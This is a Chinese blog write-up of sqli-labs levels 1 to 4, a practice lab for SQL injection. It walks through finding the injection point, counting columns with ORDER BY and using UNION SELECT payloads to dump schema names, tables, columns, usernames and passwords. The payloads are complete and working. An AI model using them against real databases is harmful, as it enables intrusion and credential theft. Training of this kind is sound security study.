sqli-labs 1~4关详解

**

sqli-labs-1:基于错误的GET单引号字符型注入:

**

点进去题目:
在这里插入图片描述提示我们输入题目id,第一题,所以我们输入?id=1,回车即可。如图:在这里插入图片描述首先可以判断这里接受的是一个GET请求,先在1后面加一个’ 发现报错,说明这里没有过滤掉引号,所以这里是一个注入点
在这里插入图片描述SQL注入通常有两种类型,整形注入和字符型注入,那么我们要判断这是哪种注入就要分析这里的报错语句,报错信息中共有5个单引号,"实际上是两个单引号,最外面的两个是报错信息的提示引号,'1’两边的引号是后台代码的引号,多出来的就是我们加上的,因为这里给输入的1加上了引号所以后台接受的是字符型,那么我们在后续的注入中需要加 ’ 来闭合后面的引号

接下来我们需要通常使用order by加数字判断表中有几列,数字 1 2 3 4 5一直试直到报错为止,另外-- (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。这里我们发现到了数字4就报错了,所以这里有3列,在这里插入图片描述在这里插入图片描述接下来我们需要判断这里的回显位置,将id=1改为一个数据库不存在的id值,如666,使用union select 1,2,3联合查询语句查看页面是否有显示位。
为什么这里得用666??为什么2,3被显示了? ?这里,容我大概说说:
因为,程序在展示数据的时候通常只会取结果集的第一行数据,看一下源码,mysql_fetch_array只被调用了一次,而mysql_fetch_array从结果集中取得一行作为关联数组或数字数组或二者兼有,具体看第二个参数是什么。所以这里无论怎么折腾最后只会出来第一行的查询结果。只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了。将id改成666,使union前面的语句报错,执行后面的,爆出显示位2,3
在这里插入图片描述
我们这里选择在2的位置放上SQL语句
接下来我们需要查看库名
id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
在这里插入图片描述group_concat() 函数:用于将SQL语句的结果拼接在一起,如果我们的查询结果多于一个就需要将这些结果拼接出来,大家可以试一试,如果这里不使用group函数会报错,提示输出结果多于一行

information_schema 库:这个库是在MySql 5.0之后的一个库,用来存放整个数据库的信息,里面可以查询到 所有的库名,表名,列明。 所以,我们所需要的MySQL数据库版本必须在5.0以上。
查询security内的所有表名:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+
在这里插入图片描述接着使用下面的语句爆破出列名:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(column_name) from information_schema.columns where table_name=‘users’) --+
在这里插入图片描述最后使用如下语句查询所有的用户名,密码.
用户名:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(password) from security.users) --+
在这里插入图片描述密码:id=666’ union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(username) from security.users) --+
在这里插入图片描述好啦,第一关到此基本就结束了,萌新做题,瑕疵百出,错的地方希望各位大佬能够指明,不会的我说不定也可以帮你们哟。

sqli-lbs-2 GET - Error based - Intiger based (基于错误的GET整型注入)

知识点:1,判断是数字型还是字符型,单引号还是双引号
2,union select联合查询注入
3,payload原理与防御措施

这道题与上道题的主要区别就是这个是整型,即这个题的id参数没有引号,只是数字,这意味着在你绕过的时候可以不需要对后面的引号过滤(如果没有其他干扰的话)
大概步骤:1.输入?id=2-1页面信息发生变化,说明此处是数值型注入
2.order by 3 页面显示正常,order by 4页面显示不正常,所以该表有3列数据
3.接着可以使用联合查询进行注入,详细过程参考第一关

接下来进行操作: 输入 ?id=2-1

在这里插入图片描述接下来进行回显操作,先 order by 3 再 order by 4

在这里插入图片描述在这里插入图片描述输入4时错误,所以判断只有三列数据,判断完后我们就可以进行联合查询了,操作同第一关:
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

在这里插入图片描述http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+

在这里插入图片描述
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(column_name) from information_schema.columns where table_name=‘users’)–+
在这里插入图片描述
http://localhost/Less-2/?id=666 union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(password) from security.users)–+

在这里插入图片描述至此,所有的用户名和密码就都出来啦,嘻嘻🤭。

**

Less-3 Error Based- String (with Twist)

**

1.1.向页面输入?id=2’ --+页面显示不正常,
在这里插入图片描述但是输入 ?id=2’) --+ 页面回显正常,说明此处是字符型注入,而且是以 (’’)的方式闭合字符串的
在这里插入图片描述2.接着使用order by 判断表中有3列数据
3.接着使用联合查询,union select 1,2,3 ,4判断页面是否有显示位,
在这里插入图片描述

有,下面使用第一关所使用的查询语句,测试一下
在这里插入图片描述ojbk!

**

Less-4 Error Based- DoubleQuotes String

**

与第三关类似,第四关使用 ("") 的方式闭合字符串,然后可以优先使用联合查询注入
1.当输入?id=3" --+时,页面显示不正常
在这里插入图片描述2.当输入?id=3") --+后正常:
在这里插入图片描述接下来接着使用第一关的联合查询即可得到答案:
在这里插入图片描述1~4关主要都是使用联合查询得出列表,原理和部分解析都在第一题中,还望多多指教🤭。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值